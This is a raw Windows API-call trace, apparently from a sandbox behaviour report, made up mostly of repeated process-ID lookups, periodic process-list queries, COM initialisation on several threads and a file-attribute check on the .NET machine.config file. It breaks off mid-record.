0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.958] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0299.959] GetCurrentProcessId () returned 0x10c0 [0300.538] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.582] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.583] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.584] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0300.585] GetCurrentProcessId () returned 0x10c0 [0301.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.106] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.107] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.108] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.109] GetCurrentProcessId () returned 0x10c0 [0301.611] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0301.613] GetCurrentProcessId () returned 0x10c0 [0301.613] GetCurrentProcessId () returned 0x10c0 [0301.613] GetCurrentProcessId () returned 0x10c0 [0301.613] GetCurrentProcessId () returned 0x10c0 [0301.613] GetCurrentProcessId () returned 0x10c0 [0301.613] GetCurrentProcessId () returned 0x10c0 [0301.613] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.614] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.615] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.616] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0301.617] GetCurrentProcessId () returned 0x10c0 [0302.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.128] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.129] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.130] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 [0302.131] GetCurrentProcessId () returned 0x10c0 Thread: id = 237 os_tid = 0x7b8 [0151.074] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0151.074] RoInitialize () returned 0x1 [0151.074] RoUninitialize () returned 0x0 [0151.078] CoUninitialize () Thread: id = 238 os_tid = 0x7b0 [0151.733] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0151.733] RoInitialize () returned 0x1 [0151.734] RoUninitialize () returned 0x0 [0151.738] CoUninitialize () Thread: id = 239 os_tid = 0x1294 Thread: id = 252 os_tid = 0xbb4 Thread: id = 253 os_tid = 0xa28 [0158.473] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0158.474] RoInitialize () returned 0x1 [0158.474] RoUninitialize () returned 0x0 [0158.763] CoUninitialize () Thread: id = 254 os_tid = 0x1394 [0158.556] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0158.556] RoInitialize () returned 0x1 [0158.556] RoUninitialize () returned 0x0 [0158.766] CoUninitialize () Thread: id = 255 os_tid = 0x990 [0158.696] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0158.696] RoInitialize () returned 0x1 [0158.696] RoUninitialize () returned 0x0 [0159.027] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b6bd4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0159.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b6bd620, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0159.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b6bda70) returned 1 [0159.028] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b6bdb50 | out: lpFileInformation=0x1b6bdb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, 